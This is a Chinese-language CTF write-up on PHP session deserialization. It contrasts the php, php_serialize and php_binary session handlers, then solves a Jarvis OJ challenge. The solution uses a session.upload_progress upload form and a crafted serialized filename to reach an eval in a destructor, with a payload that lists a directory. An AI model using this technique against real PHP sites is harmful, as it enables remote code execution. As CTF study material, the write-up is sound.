php_session 反序列化
- php 存储session的三种模式
php_serialize | 经过serialize()函数序列化数组 |
---|
php | 键名+|+经过serialize()序列化处理后的值 | php_binary | 键名长度对应ASCII字符+键名+serialize()序列化的值 |
三种存储模式的区别
<?php
ini_set("session.serialize_handler", "php");
session_start();
$_SESSION['ykingh'] = $_GET['ykingh'];
echo $_SESSION['ykingh'];
?>
第一种,php类型生成的session文件为:ykingh|s:3:"123";
第二种,php_serialize类型生成的session文件为:a:1:{s:6:"ykingh";s:3:"123";}
第三种,php_binary类型生成的session文件为:ykinghs:3:"123";
某session反序列化题解: http://web.jarvisoj.com:32784/
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
首先如果get传入phpinfo参数的话,会创建一个m对象,调用构造函数和析构函数,执行phpinfo,即可查看phpinfo的内容
查找session,找到突破口
局部变量和全局变量使用的序列化类型不一样,存在session反序列化漏洞
session.upload_progress.enabled
首先看到eval命令,存在命令执行漏洞,本地验证,输出当前文件所在目录的所有文件
将该序列化的结果传入到session文件里面,打开session文件得到序列化结果为
payload|s:71:"O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}";
利用session.upload_progress漏洞,上传的文件名会被填充到session中如果恶意构造文件名,再结合前面php session反序列化漏洞即可实现命令执行
首先构建文件上传表单
<!DOCTYPE html>
<html>
<head>
<title>A_dmin</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</form>
</body>
</html>
随便上传一个文件,然后抓包,将文件名修改为想要的字符串
在这里构造payload
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
}
function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO();
echo serialize($a);
然后将读取到的序列化字符串填为文件名,注意内容中引号的转义,通过加| 来触发session 反序列化漏洞,将我们输入的值进行反序列化,达到我们想要的目的,将| 前的值作为key值
|